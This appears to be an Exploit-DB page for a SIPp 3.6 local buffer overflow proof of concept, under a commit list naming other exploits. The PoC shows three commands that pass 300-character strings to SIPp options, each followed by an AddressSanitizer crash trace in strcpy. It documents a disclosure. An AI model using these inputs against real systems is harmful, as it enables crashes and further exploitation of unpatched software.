e8a3702c6c
11 changes to exploits/shellcodes Core FTP LE 2.2 - Buffer Overflow (PoC) SIPp 3.6 - Local Buffer Overflow (PoC) Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (PoC) Enhanced Mitigation Experience Toolkit (EMET) - XML External Entity Injection FTPShell client 6.70 (Enterprise edition) - Stack Buffer Overflow (Metasploit) Nagios XI 5.2.6-5.4.12 - Chained Remote Code Execution (Metasploit) Geutebruck 5.02024 G-Cam/EFD-2250 - Remote Command Execution (Metasploit) Geutebruck 5.02024 G-Cam/EFD-2250 - 'testaction.cgi' Remote Command Execution (Metasploit) Geutebruck 5.02024 G-Cam/EFD-2250 - 'simple_loglistjs.cgi' Remote Command Execution (Metasploit) VMware NSX SD-WAN Edge < 3.1.2 - Command Injection DAMICMS 6.0.0 - Cross-Site Request Forgery (Add Admin) Dolibarr ERP CRM < 7.0.3 - PHP Code Injection Linux/x86 - Execve /bin/cat /etc/passwd Shellcode (37 bytes)
28 lines
No EOL
1.3 KiB
Text
28 lines
No EOL
1.3 KiB
Text
# Exploit Title: SIPp 3.6 - Local Buffer Overflow (PoC)
|
||
# Date: 2018-06-30
|
||
# Exploit Author: Fakhri Zulkifli
|
||
# Vendor Homepage: http://sipp.sourceforge.net/
|
||
# Software Link: https://github.com/SIPp/sipp/releases
|
||
# Version: 3.6-dev and earlier
|
||
# Tested on: 3.6-dev
|
||
|
||
$ ./sipp -3pcc `python -c ‘print “A” * 300'`
|
||
|
||
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
|
||
#1 0x668d06 in main /home/user/sipp/src/sipp.cpp:1531:17
|
||
#2 0x7ff5ec21282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
|
||
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)
|
||
|
||
$ ./sipp -i `python -c ‘print “A” * 300'`
|
||
|
||
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
|
||
#1 0x66a303 in main /home/user/sipp/src/sipp.cpp:1477:17
|
||
#2 0x7f281302682f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
|
||
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)
|
||
|
||
$ ./sipp -log_file `python -c ‘print “A” * 300'`
|
||
|
||
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
|
||
#1 0x66912f in main /home/user/sipp/src/sipp.cpp:1706:17
|
||
#2 0x7f6ca663782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
|
||
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8) |